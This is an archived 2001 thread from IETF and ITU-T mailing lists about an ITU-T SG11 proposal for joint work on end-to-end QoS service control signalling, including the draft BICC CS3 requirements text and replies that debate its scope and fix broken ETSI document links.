Subject: RE: PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL MECHANISM FOR
E ND-TO-END QOS SERVICE CONTROL
*> From owner-issll@mercury.lcs.mit.edu Wed May 30 14:59:58 2001
*> From: "Roy, Radhika R, ALCTA"
*> To: gratta@lucent.com, sob@harvard.edu, mankin@ISI.EDU
*> Cc: diffserv@ietf.org, iptel@lists.bell-labs.com,
issll@mercury.lcs.mit.edu,
*> megaco@fore.com, sip@lists.bell-labs.com, sipping@ietf.org,
tsvwg@ietf.org,
*> Yukio Hiramatsu
*> , rbuhrke@lucent.com,
*> tsg11q8@ties.itu.ch, tsg11q9@ties.itu.ch,
ITU-SG16@mailbag.cps.INTEL.COM
*> Subject: RE: PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL MECHANISM
FOR E
*> ND-TO-END QOS SERVICE CONTROL
*> Date: Wed, 30 May 2001 17:21:14 -0400
*> MIME-Version: 1.0
*>
*> Hi, Everyone:
*>
*> Question Q.F/16 of ITU-T SG16 is fully dedicated for developing
standards
*> for "End-to-End QOS for Multimedia Applications". Contributions are
also
*> being under discussion in the ITU-T SG16 Brazil May 28 - June 8, 2001
*> meeting.
This is very confusing. "End-to-End QOS for Multimedia Applications"
is an really important topic, but this topic must be a superset of
"End-to-End QOS signaling". There are much harder problems than
signaling in providing E2E QoS. Can you explain how signaling relates
to the title of this working party?
Thanks,
Bob Braden
*>
*> Applications like H.323, SIP, H.324, H.310, and others will also be
able to
*> use this Q.F/16's QOS signaling protocol. MEGACO/H.248 and BICC will
also be
*> able to use this when specs are fully developed and, TIPHON's QOS
mechanisms
*> can also be used as one of the mechanisms for implementations.
From owner-issll@mercury.lcs.mit.edu Thu May 31 12:08:21 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA00284
for ; Thu, 31 May 2001 12:08:20 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id LAA31322
for issll-outgoing; Thu, 31 May 2001 11:14:14 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id LAA31633
for ; Thu, 31 May 2001 11:14:11 -0400 (EDT)
Received: from phaestos.ee.surrey.ac.uk ([131.227.88.14] ident=eep1lw)
by prue.eim.surrey.ac.uk with esmtp (Exim 3.16 #1)
id 155U91-00045U-00; Thu, 31 May 2001 16:13:51 +0100
Date: Thu, 31 May 2001 16:13:43 +0100 (BST)
From: Lloyd Wood
X-Sender: eep1lw@phaestos.ee.surrey.ac.uk
Reply-To: Lloyd Wood
To: Fred Baker
cc: gratta@lucent.com, sob@harvard.edu, mankin@isi.edu, diffserv@ietf.org,
iptel@lists.bell-labs.com, issll@mercury.lcs.mit.edu, megaco@fore.com,
sip@lists.bell-labs.com, sipping@ietf.org, tsvwg@ietf.org,
Yukio Hiramatsu , rbuhrke@lucent.com,
tsg11q8@ties.itu.ch, tsg11q9@ties.itu.ch,
John C Klensin , chair@ietf.org
Subject: Re: [Diffserv] Re: PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL
MECHANISM FOR END-TO-END QOS SERVICE CONTROL
In-Reply-To: <5.1.0.14.2.20010530152432.043b8ec0@mira-sjcm-2.cisco.com>
Message-ID:
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Scanner: exiscan *155U91-00045U-00*ZWgRfZ3Wo52* http://duncanthrax.net/exiscan/
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
On Wed, 30 May 2001, Fred Baker wrote:
> Greg:
>
> The URLs in this note were all sent with what the ETSI machine considered
> to be 'malformed syntax'. Could you resend the correct URLs?
Just put all the parts together, removing unencoded
spaces; the reason for the breaks after the hyphens seems
obvious enough, but I'm at a loss to explain others. Here we go:
http://docbox.etsi.org/tech-org/tiphon/Document/tiphon/07-drafts/wg5/_Published/DTS05009/V1.1.1/ts_101329-2v111p.doc
http://docbox.etsi.org/tech-org/tiphon/Document/tiphon/07-drafts/wg5/_Published/DTS05003/DTS05003v096.zip
http://webapp.etsi.org/tbhomepage/TBDetails.asp?TB_ID=291&TB_NAME=TIPHON
http://docbox.etsi.org/tech-org/tiphon/Document/tiphon/ARCHIVES/2000/05-200012-Kyoto/WG5%20TIPHON21%20presentation%20Rev1.ppt
So http://docbox.etsi.org/ is passworded but docs can be retrieved by
advertised public direct url? Bizarre.
L.
PGP
From owner-issll@mercury.lcs.mit.edu Thu May 31 13:09:30 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA02327
for ; Thu, 31 May 2001 13:09:27 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id MAA31538
for issll-outgoing; Thu, 31 May 2001 12:12:06 -0400 (EDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with SMTP id MAA31952
for ; Thu, 31 May 2001 12:12:04 -0400 (EDT)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP
id ; Thu, 31 May 2001 17:11:33 +0100
To: Lloyd Wood
cc: Fred Baker , gratta@lucent.com, sob@harvard.edu,
mankin@isi.edu, diffserv@ietf.org, iptel@lists.bell-labs.com,
issll@mercury.lcs.mit.edu, megaco@fore.com, sip@lists.bell-labs.com,
sipping@ietf.org, tsvwg@ietf.org,
Yukio Hiramatsu , rbuhrke@lucent.com,
tsg11q8@ties.itu.ch, tsg11q9@ties.itu.ch,
John C Klensin , chair@ietf.org,
J.Crowcroft@cs.ucl.ac.uk
Subject: Re: [Diffserv] Re: PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL
MECHANISM FOR END-TO-END QOS SERVICE CONTROL
In-reply-to: Your message of "Thu, 31 May 2001 16:13:43 BST."
Date: Thu, 31 May 2001 17:11:29 +0100
Message-ID: <922.991325489@cs.ucl.ac.uk>
From: Jon Crowcroft
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
so the talk seems to be dated dec 2001, and makes me wonder if the
tiphon folks have achieved a breakthru in QOS
with e2e delays better than 0ms.....
meanwhile, i stuck html versions of the files below at
ftp://cs.ucl.ac.uk/darpa/tiphon/
(prob. doesnt help non windoze users since the html is generated by
office 2000 apps so unless you have the unix internet explorer, too
bad)
In message ,
Lloyd Wood typed:
>>On Wed, 30 May 2001, Fred Baker wrote:
>>
>>> Greg:
>>>
>>> The URLs in this note were all sent with what the ETSI machine considered
>>> to be 'malformed syntax'. Could you resend the correct URLs?
>>
>>Just put all the parts together, removing unencoded
>>spaces; the reason for the breaks after the hyphens seems
>>obvious enough, but I'm at a loss to explain others. Here we go:
>>
>>http://docbox.etsi.org/tech-org/tiphon/Document/tiphon/07-drafts/wg5/_Published/DTS05009/V1.1.1/ts_101329-2v111p.doc
>>
>>http://docbox.etsi.org/tech-org/tiphon/Document/tiphon/07-drafts/wg5/_Published/DTS05003/DTS05003v096.zip
>>
>>http://webapp.etsi.org/tbhomepage/TBDetails.asp?TB_ID=291&TB_NAME=TIPHON
>>
>>http://docbox.etsi.org/tech-org/tiphon/Document/tiphon/ARCHIVES/2000/05-200012-Kyoto/WG5%20TIPHON21%20presentation%20Rev1.ppt
>>
>>So http://docbox.etsi.org/ is passworded but docs can be retrieved by
>>advertised public direct url? Bizarre.
>>
>>L.
>>
>>PGP
>>
>>
>>
>>
>>
>>
>>
cheers
jon
From owner-issll@mercury.lcs.mit.edu Thu May 31 13:12:17 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA02465
for ; Thu, 31 May 2001 13:12:17 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id MAA31933
for issll-outgoing; Thu, 31 May 2001 12:07:19 -0400 (EDT)
Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id MAA31801
for ; Thu, 31 May 2001 12:07:16 -0400 (EDT)
Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92])
by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id JAA34990;
Thu, 31 May 2001 09:04:55 -0700
Received: from hursley.ibm.com ([9.29.3.174]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id JAA20120; Thu, 31 May 2001 09:04:54 -0700
Message-ID: <3B166AFC.9DF4CD05@hursley.ibm.com>
Date: Thu, 31 May 2001 11:02:04 -0500
From: Brian E Carpenter
Organization: IBM
X-Mailer: Mozilla 4.76 [en] (Win98; U)
X-Accept-Language: en,fr
MIME-Version: 1.0
To: gratta@lucent.com
CC: sob@harvard.edu, mankin@isi.edu, diffserv@ietf.org,
iptel@lists.bell-labs.com, issll@mercury.lcs.mit.edu, megaco@fore.com,
sip@lists.bell-labs.com, sipping@ietf.org, tsvwg@ietf.org,
Yukio Hiramatsu , rbuhrke@lucent.com,
tsg11q8@ties.itu.ch, tsg11q9@ties.itu.ch
Subject: Re: [Diffserv] PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL MECHANISM
FOR END-TO-END QOS SERVICE CONTROL
References: <200105302022.QAA03855@hotair.hobl.lucent.com>
Content-Type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from quoted-printable to 8bit by mercury.lcs.mit.edu id MAA31770
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
X-MIME-Autoconverted: from 8bit to quoted-printable by mercury.lcs.mit.edu id MAA31933
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id NAA02465
Folks,
This is *not* a discussion item for the diffserv WG mailing list. This WG is not
chartered to discuss signalling issues. Whether the ITU should work on this
and if so how it should collaborate with the IETF should be discussed at liaison
level, not on a list with a few hundred people. So please everybody drop this
discussion on the diffserv list and continue elswhere.
Regards
Brian Carpenter
diffserv co-chair
Greg Ratta wrote:
>
> This message was agreed to at ITU-T Study Group 11 meeting (Geneva, May 2001) and is being transmitted on behalf of Yukio Hiramatsu, Chairman of ITU-T SG 11. For further technical clarification, contact the Rapporteur for Q9/11 (Rolfe Buhrke, Tel: + 1 630 713 7022, { HYPERLINK mailto:rburke@lucent.com }rbuhrke@lucent.com)
>
> FULL TITLE: PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL MECHANISM FOR END-TO-END QOS SERVICE CONTROL AND SIGNALLING PROTOCOL DEVELOPMENT BASED ON IP TRANSFER CAPABILITIES AND IP QOS CLASSES
>
> General
>
> Within ITU-T SG11 work has started on requirements for a generic protocol mechanism for end-to-end QoS service control. It was agreed within SG11 to proceed with this work utilising deliverables of ETSI TIPHON on end- to-end QoS service control as base material. It is the opinion of SG11 that this generic protocol mechanism for BICC intends to apply also to other protocols like SIP/SDP and H.323 next to generic extensions to the H.248/MEGACO protocol.
>
> It was noted that also QoS related work is in progress in IETF. Please find attached an initial draft of the BICC CS3 signalling requirements for end-to-end QoS service control. Please note the rationale for this activity and the framework for end-to-end QoS service control and network QoS control. The framework illustrates the field of application of the QoS handling at different levels and the different protocols involved.
>
> Proposals on end-to-end QoS service control
>
> It is proposed to start a joint activity with IETF on a generic protocol mechanism for end- to-end QoS service control. This refers to the potential work in IETF on the following topics:
>
> - Identification of the signalling requirements based on the ETSI TIPHON defined speech QoS service classes for VoIP and the signalling and control of end-to-end QoS for VoIP. The attachment provides the initial draft of the BICC CS3 signalling requirements for end-to-end QoS service control.
>
> - The definition of a generic call/bearer control mechanism in H.225/H.245, SIP/SDP and BICC CS3 for end-to-end QoS service control in the application plane.
>
> - The definition of generic extensions to H.248/MEGACO for end-to-end QoS service control between the application plane and the transport plane.
>
> - The translation between the generic protocol QoS information elements in H.248/MEGACO and the technology specific QoS parameters and QoS mechanisms in IP, ATM, MPLS, etc.
>
> Proposals on IP QoS classes and IP Transfer Capabilities
>
> ITU-T SG11 would like to inform IETF that it is investigating signalling requirements for protocol development based on the IP Transfer Capabilities and IP QoS classes, as being defined by ITU-T SG13 in Y.1541 and Y.iptc. The plan is to build upon signalling approaches developed by IETF. We would like to stress that the work on IP QoS classes and IP Transfer Capabilities by ITU-T SG13 is co- ordinated with IETF.
>
> ATTACHMENT Initial draft text of the BICC CS3 signalling requirements for end-to-end QoS service control.
>
> The ETSI specifications referenced as base material are available at the following URLs:
>
> ETSI TS 301 329 part 2, http://docbox.etsi.org/tech- org/tiphon/Document/tiphon/07- drafts/wg5/_Published/DTS05009/V1.1.1/ts_10 1329-2v111p.doc
>
> - ETSI TS 301 329 part 3 see http://docbox.etsi.org/tech- org/tiphon/Document/tiphon/07- drafts/wg5/_Published/DTS05003/DTS05003v096.zi p
>
> Further information about the ETSI TIPHON project is available at the following URL:
>
> - http://webapp.etsi.org/tbhomepage/TBDetails.as p?TB_ID=291&TB_NAME=TIPHON
> __________________
>
> BICC CS3 signalling requirements for end-to- end QoS service control
>
> EDITORS’ NOTE: This requirements text for end-to-end QoS service control is a first draft text and requires extensive updating based on liaison activities with other groups
>
> 1 Rationale
>
> The rationale of the BICC CS3 requirements for end-to-end service control is based on the analysis made by ETSI TIPHON (see the presentation available at the URL: http://docbox.etsi.org/tech- org/tiphon/Document/tiphon/ARCHIVES/2000/05- 200012- Kyoto/WG5%20TIPHON21%20presentation%20Rev1.ppt ). It shows the inter-relationship between the different QoS factors that finally determine
> the perceived speech quality by the end- users. This perceived speech quality does not only depend on network quality of service (network packet loss, network jitter and network delay) but on the terminal implementation (jitter buffers and codec performance) as well.
>
> A second rationale is that end-to-end QoS requirements can be regarded as end-to-end quality budgets related to the media flows. To achieve the required end-to-end QoS these quality budgets must be allocated between the domains, including the user equipment (see Figure 7 in ETSI TS 301 329 part 3). The Transport QoS Parameters specify the QoS budgets for each Transport Domain. It is assumed that the performance of each domain is statistically independent from any other.
>
> Therefore end-to-end QoS service control at the call control level (i.e. application plane) is required based on generic signalling procedures in protocols like BICC, SIP/SDP, H.323 and H.248/MEGACO for end-to- end QoS service control.
>
> 2 Framework for end-to-end QoS service control and network QoS control.
>
> A framework for QoS control may be considered at different levels: call control (BICC, SIP/SDP, H.323), vertical control (H.248/MEGACO, CBC), bearer control (IP BCP) and bearer (DiffServ, IntServ/RSVP or MPLS/LDP).
>
> 1) Call-control
>
> a) End-to-end QoS service control is negotiated/communicated end-to-end at the call control level. ETSI TIPHON has defined a set of speech QoS classes, and signalling requirements and flows for this purpose.
>
> The idea is that call control protocols are enhanced with a generic end-to-end QoS service control mechanism to negotiate these speech QoS classes and associated parameters (Maximum delay, Maximum packet delay variation, Maximum packet loss, Peak bit rate and Maximum packet size).
>
> Such a generic end-to-end QoS service control mechanism should be defined independent of the underlying technology (ATM or IP) and operate across network domains and including terminal characteristics to negotiate/communicate the requested listener speech quality that will be perceived by the end-users (i.e. "mouth-to-ear").
>
> b) BICC (Q.190x) is one of the call control protocols that may be enhanced this way. Similar enhancements may be applicable to other call-control protocols like SIP/SDP and H.323.
>
> 2) Vertical control
>
> a) QoS service control is also negotiated/communicated at the vertical control level. The ETSI TIPHON defined signalling requirements and flows include the vertical interface. The idea is that vertical control protocols are enhanced to negotiate/communicate the QoS settings (Maximum delay, Maximum packet delay variation, Maximum packet loss, Peak bit rate and Maximum packet size) in the bearer core network based on generic H.248/MEGACO extensions.
>
> These QoS settings should be defined independent of the underlying technology (ATM or IP) of the bearer core network.
>
> b) CBC (Q.1950) is one of the vertical control protocols that may be enhanced this way.
>
> 3) Bearer control
>
> a) Network QoS is negotiated/communicated at the bearer control level. ATM signalling does already intrinsically support network QoS. SG13 has recently defined IP QoS classes and IP Transfer Capabilities.
>
> The idea is that bearer control protocols for IP are enhanced with a mechanism to negotiate the network QoS by using IP QoS classes and IP Transfer Capabilities.
>
> b) IP BCP (Q.1970) is an IP bearer control protocol that may be enhanced this way.
>
> 4) Bearer
>
> a) Network QoS is negotiated/communicated at the bearer level, i.e. as part of the protocols associated with the bearers in the core network. The idea is that IP QoS classes and IP Transfer Capabilties, as defined by SG13, are used to differentiate between different types of IP traffic.
>
> b) IP QoS classes and IP Transfer Capabilities may be used to enhance existing IP mechanisms like DiffServ, IntServ/RSVP and MPLS/LDP.
>
> 3 QoS information flows applicable to BICC
>
> A general model is considered for QoS information flows with BICC when making a translation of the relevant parts in Figure 8 in ETSI TS 301 329 part 3.
>
> Section 4 details the Q.BICC related QoS primitives and parameters based on the QoS primitives and parameters in the ETSI deliverable. Similarly, section 5 provides the Q.CBC related QoS primitives and parameters.
>
> 4 Q.BICC related QoS primitives and parameters
>
> The Q.BICC related QoS primitives and parameters are extracted from clause 8.1 and clause 8.2 of ETSI TS 101 329 part 3.
>
> 4.1 Q.BICC related QoS primitives
>
> This information flow (QC2 in ETSI TS 101 329 part 3) communicates the QoS related bearer information between the domains of different service providers.
>
> Q.BICC QoS request (Qbicc.QoSreq) requests the establishment of a bearer conforming to a particular ETSI TIPHON Class of Service or with defined QoS characteristics.
>
> NOTE Identical to QoSM request (QC2.QoSMreq) in ETSI TS 101 329 part 3 clause 8.1.1.
>
> Q.BICC QoS confirm (Qbicc.QoSconf) acknowledges the creation of a bearer conforming to a requested ETSI TIPHON QoS Class or with specified QoS characteristics.
>
> NOTE Identical to QoSM confirm (QC2.QoSMconf) in ETSI TS 101 329 part 3 clause 8.1.1.
>
> Q.BICC QoS reject (Qbicc.QoSrej) rejects the creation of a bearer conforming to a requested ETSI TIPHON QoS Class or with specified QoS characteristics.
>
> NOTE Identical to QoSM reject (QC2.QoSMrej) in ETSI TS 101 329 part 3 clause 8.1.1.
>
> Q.BICC release request (Qbicc.QoSrelreq) requests the release of a bearer.
>
> NOTE Identical to QoSM release request (QC2.QoSMrelreq) in ETSI TS 101 329 part 3 clause 8.1.1 and the release of a transport flow is already covered by existing Q.BICC procedures in Q.1902 series.
>
> QoSM release confirm (Qbicc.QoSrelconf) confirms the release of a bearer.
>
> NOTE Identical to QoSM release confirm (QC2.QoSMrelconf) in ETSI TS 101 329 part 3 clause 8.1.1 and the release of a transport flow is already covered by existing Q.BICC procedures in Q.1902 series.
>
> 4.2 Q.BICC related QoS parameters
>
> Table 1 lists the parameters used in the Q.BICC related QoS primitives not yet covered by the Q.BICC protocol. The deleted items refer to the information elements already covered by the BICC CS2 protocol in the Q.1902 series.
>
> NOTE The contents of Table 1 is an interpretation of the table in ETSI TS 101 329 part 3 clause 8.2.3.
>
> Table 1: Identification of Q.BICC related parameters for end-to-end QoS service control
> Qbicc.QoSreq QoS Service Class Optional
>
> Codec Type and Packetisation Mandatory
>
> Transport QoS Parameters Mandatory
>
> Traffic Descriptor Optional
>
> Transport Addresses Mandatory
>
> Application Data Transport Protocol Optional [Default RTP]
>
> Packet Transport Protocol Optional [Default UDP]
>
> QoS Mechanism Optional
>
> Qbicc.QoSconf QoS Service Class Optional
>
> Codec Type and Packetisation Mandatory
>
> Transport QoS Parameters Mandatory
>
> Transport Addresses Mandatory
>
> Application Data Transport Protocol Optional [Default RTP]
>
> Packet Transport Protocol Optional [Default UDP]
>
> Qbicc.QoSrej Reason [TBD] Mandatory
>
> 5 Q.CBC related QoS primitives and parameters
>
> The Q.CBC related QoS primitives and parameters are extracted from clause 8.1 and clause 8.2 of ETSI TS 101 329 part 3.
>
> 5.1 Q.CBC related QoS primitives
>
> This information flow (QT2 in ETSI TS 101 329 part 3) communicates the QoS related transport flow information between a service domain and an associated transport domain. This information contains the QoS related characteristics required of the transport flows that will carry the media flow and the properties of the media flow.
>
> Q.CBC QoS request (Qcbc.QoSreq) requests the establishment of a transport flow with defined QoS characteristics across a Transport Domain or the reservation of Transport Domain resource.
>
> NOTE Identical to TRM QoS request (QT2.TRMQreq) in ETSI TS 101 329 part 3 clause 8.1.3.
>
> Q.CBC QoS confirm (Qcbc.QoSconf) acknowledges the creation of a requested transport flow or the reservation of Transport Domain resource.
>
> NOTE Identical to TRM QoS confirm (QT2.TRMQconf) in ETSI TS 101 329 part 3 clause 8.1.3.
>
> Q.CBC QoS reject (Qcbc.QoSrej) rejects the creation of a requested transport flow or the reservation of Transport Domain resource.
>
> NOTE Identical to TRM QoS reject (QT2.TRMQrej) in ETSI TS 101 329 part 3 clause 8.1.3.
>
> Q.CBC QoS release request (Qcbc.QoSrelreq) requests the release of a transport flow.
>
> NOTE Identical to TRM QoS release request (QT2.TRM QoS relreq) in ETSI TS 101 329 part 3 clause 8.1.3. The release of a transport flow is already covered by the existing Q.CBC procedures in Q.1950.
>
> Q.CBC QoS release confirm (Qcbc.QoSrelconf) confirms the release of a transport flow.
>
> NOTE Identical to TRM QoS release confirm (QT2.TRM QoS relconf) in ETSI TS 101 329 part 3 clause 8.1.3. The release of a transport flow is already covered by the existing Q.CBC procedures in Q.1950.
>
> Q.CBC QoS performance notification (Qcbc.QoSperfnotif) notifies the Service Domain of the performance of the Transport Domain in meeting the requested QoS levels. This may be a periodic event or an urgent alarm. Note: this primitive is a management primitive and its use is for further study.
>
> NOTE Identical to TRM QoS performance notification (QT2.TRM QoS perfnotif) in ETSI TS 101 329 part 3 clause 8.1.3. For further study.
>
> 5.2 Q.CBC related QoS parameters
>
> Table 2 lists the parameters used in the Q.CBC related QoS primitives not yet covered by the Q.CBC protocol. The deleted items refer to the information elements already covered by the BICC CS2 protocol in Q.1950.
>
> NOTE The contents of Table 2 is an interpretation of the table in ETSI TS 101 329 part 3 clause 8.2.5.
>
> Table 2: Identification of Q.CBC related parameters for end-to-end QoS service control
>
> QT2.TRMQreq Transport QoS Parameters Mandatory
>
> Traffic Descriptor Mandatory
>
> Transport Addresses Mandatory
>
> Packet Transport Protocol Optional [Default UDP]
>
> QT2.TRMQconf Transport QoS Parameters Mandatory
>
> Transport Addresses Mandatory
>
> Packet Transport Protocol Optional [Default UDP]
>
> QoS Mechanism Optional
>
> QT2.TRMQrej Reason [TBD] Mandatory
>
> 6 Parameter contents
>
> Table 3 specifies the information to be covered by the parameters listed in sections 4.2 and 5.2 based on the QoS parameter groups in ETSI TS 101 329 part 3 clause 8.2.1.
>
> Table 3: Identification of parameter contents for end-to-end QoS service control
>
> QoS Service Class Describes the end-to-end ETSI TIPHON Best, High, Medium
> class of a bearer or Best Effort
>
> Transport QoS Specifies the QoS characteristics Maximum Delay
> Parameters required of the transport flow
> carrying the media flow. Maximum Packet Delay Variation
>
> Maximum Packet Loss
>
> Traffic Descriptor Characterises the resource Peak Bit
> requirements of an application data
> flow (excludes transport flow Maximum Packet Size
> resource requirements).
>
> Parameters specifying the ETSI TIPHON QoS Class as defined in ETSI TS 101 329 Part 2
>
> The maximum delay permitted (ms) over either a segment of the transport flow or the remaining part of the transport flow.
>
> The maximum packet delay variation permitted (ms) over either a segment of the transport flow or the remaining part of the transport flow.
>
> The maximum packet loss permitted (%) over either a segment of the transport flow or the remaining part of the transport flow. [N.B. This measure assumes randomly distributed packet loss]
> Maximum bit rate (bit/s) of the media flow.
>
> Maximum size of the media packets
>
> 7 Information flows and signalling procedures for end-to-end QoS service control
>
> EDITORS’ NOTE The information flows and signalling procedures for end-to-end QoS service control may be considered to follow the same principles as the already existing procedures for end-to-end codec negotiation in BICC CS1 and BICC CS2. Similarly mid-call procedures for end-to-end QoS modification and mid-call QoS modification may be considered because the perceived QoS is highly related to the codec type employed end- to-end as part of the connection. The exact scope and properties of these procedures and protocol message flows needs further discussion.
>
> Greg Ratta, Vice Chairman, ITU-T SG 11, Signalling requirements and protocols
> Lucent Technologies Tel: +1 732 332 5174, Fax: +1 732 949 1196, gratta@lucent.com
>
> _______________________________________________ diffserv mailing list diffserv@ietf.org http://www1.ietf.org/mailman/listinfo/diffserv Archive: http://www2.ietf.org/mail-archive/working-groups/diffserv/current/maillist.html
--
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Brian E Carpenter
Distinguished Engineer, Internet Standards & Technology, IBM
On assignment for IBM at http://www.iCAIR.org
Board Chairman, Internet Society http://www.isoc.org
From owner-issll@mercury.lcs.mit.edu Thu May 31 14:50:09 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA05914
for ; Thu, 31 May 2001 14:50:01 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id NAA00885
for issll-outgoing; Thu, 31 May 2001 13:54:20 -0400 (EDT)
Received: from ckmso1.proxy.att.com (ckmso1.att.com [12.20.58.69])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id NAA00918
for ; Thu, 31 May 2001 13:54:18 -0400 (EDT)
Received: from gab200r1.ems.att.com ([135.37.94.32])
by ckmso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id f4VHpPC24217;
Thu, 31 May 2001 13:51:25 -0400 (EDT)
Received: from njb140bh1.ems.att.com by gab200r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2)
id NAA00157; Thu, 31 May 2001 13:51:00 -0400 (EDT)
Received: by njb140bh1.ems.att.com with Internet Mail Service (5.5.2653.19)
id ; Thu, 31 May 2001 13:51:22 -0400
Message-ID:
From: "Roy, Radhika R, ALCTA"
To: Fred Baker
Cc: Bob Braden , gratta@lucent.com, sob@harvard.edu,
mankin@isi.edu, diffserv@ietf.org, iptel@lists.bell-labs.com,
issll@mercury.lcs.mit.edu, megaco@fore.com, sip@lists.bell-labs.com,
sipping@ietf.org, tsvwg@ietf.org, hiramatsu.yukio@lab.ntt.co.jp,
rbuhrke@lucent.com, tsg11q8@ties.itu.ch, tsg11q9@ties.itu.ch,
ITU-SG16@mailbag.cps.INTEL.COM
Subject: RE: PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL MECHANISM FOR E
ND-TO-END QOS SERVICE CONTROL
Date: Thu, 31 May 2001 13:51:09 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
charset="iso-8859-1"
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
Hi, Baker:
It appears that a good amount discussion can be started to answer your
questions (what has being discussed for the last couple of years in the
ITU-T and TIPHON in particular). I am not trying to do so. Let me answer
your questions summarizing the key points as follows:
1. Broadly, all applications can be considered in two categories: a.
Real-time (e.g., audio, video [of H.323/SIP]) and b. Non-Real-time (e.g.,
data applications like file transfer, WWW, Mail, etc. - can a part of
H.323/SIP).
The performance parameters of both real-time (audio, video) and
non-real-time (data) traffic can be abstracted in an universal way that can
be used by all applications (e.g., H.323, SIP, WWW, mail, etc).
However, the signaling messages used by each application are
application-specific although the QOS parameters used by all of them still
remain same (e.g., H.323 might use RAS/Q.931/Annex-G/H.245 signaling
messages, SIP might use SDP).
The QOS signaling messages that use QOS parameters can be termed as the
application layer QOS signaling messages and are sent on end-to-end basis
and the values of those QOS parameters do not change no matter what may be
the underlying transport networks (e.g., IP, ATM).
2. The network layer QOS signaling messages carried over the network may not
be end-to-end significance. For example, an end-to-end path of an IP network
may consist of RSVP, DiffServ, MPLS, and RSVP. So, the network layer QOS
parameters may get translated between the source-destination path and may
not remain the same what has been negotiated on end-to-end basis in the
application layer (item 1).
The problems that are being addressed are as follows:
A. How to develop the end-to-end QOS signaling mechanisms in the application
layer
B. How to relate the application layer QOS signaling to the network layer
QOS signaling (e.g., RSVP, DifServ, MPLS, etc.) so that one-to-one
consistency remain between the application and network layer QOS parameters.
Hope this may clarify some of your questions.
Best regards,
Radhika R. Roy
AT&T
-----Original Message-----
From: Fred Baker [mailto:fred@cisco.com]
Sent: Thursday, May 31, 2001 1:09 PM
To: Roy, Radhika R, ALCTA
Cc: Bob Braden; gratta@lucent.com; sob@harvard.edu; mankin@isi.edu;
diffserv@ietf.org; iptel@lists.bell-labs.com; issll@mercury.lcs.mit.edu;
megaco@fore.com; sip@lists.bell-labs.com; sipping@ietf.org;
tsvwg@ietf.org; hiramatsu.yukio@lab.ntt.co.jp; rbuhrke@lucent.com;
tsg11q8@ties.itu.ch; tsg11q9@ties.itu.ch; ITU-SG16@mailbag.cps.INTEL.COM
Subject: RE: PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL MECHANISM FOR
E ND-TO-END QOS SERVICE CONTROL
At 06:08 AM 5/31/2001, Roy, Radhika R, ALCTA wrote:
>All applications (e.g., H.323, SIP) uses signaling messages
>among its functional entities (e.g., terminal, agents,
>gatekeepers, proxies, gateways) for communications.
I'm not sure we're on the same planet. Please help me out here.
I can think of a few applications that have agents, gatekeepers, proxies,
and gateways, mostly resulting from the imposition of firewalls or
authentication systems, or from legacy applications like imitating the
telephone system in a data network. The only one that *requires* any kind
of gateway, to my knowledge, is H.323 teleconferencing, which represents a
paltry fraction of traffic according to most current measurements. Anything
else (75% of Internet traffic is http or FTP, most of the rest is mail, on
private LANs applications like NFS are pretty common, and even SIP can be
done without a gateway between consenting systems) could be hooked up in
separate systems on a LAN and made to work without any such signalling at
all.
Could you be more specific on what QoS signalling is required by the world
wide web, mail, FTP, common ERP applications like ERP and PeopleSoft,
calendaring, and so on? If not, could you be more specific about what "all"
applications you have in mind?
And could you be more specific about what issues this proposal is
addressing that have not already been addressed in de facto standards and
deployed in operational systems? It would be very nice to understand what
you are preparing to ask vendors to do, and whether operators are
interested in deploying them.
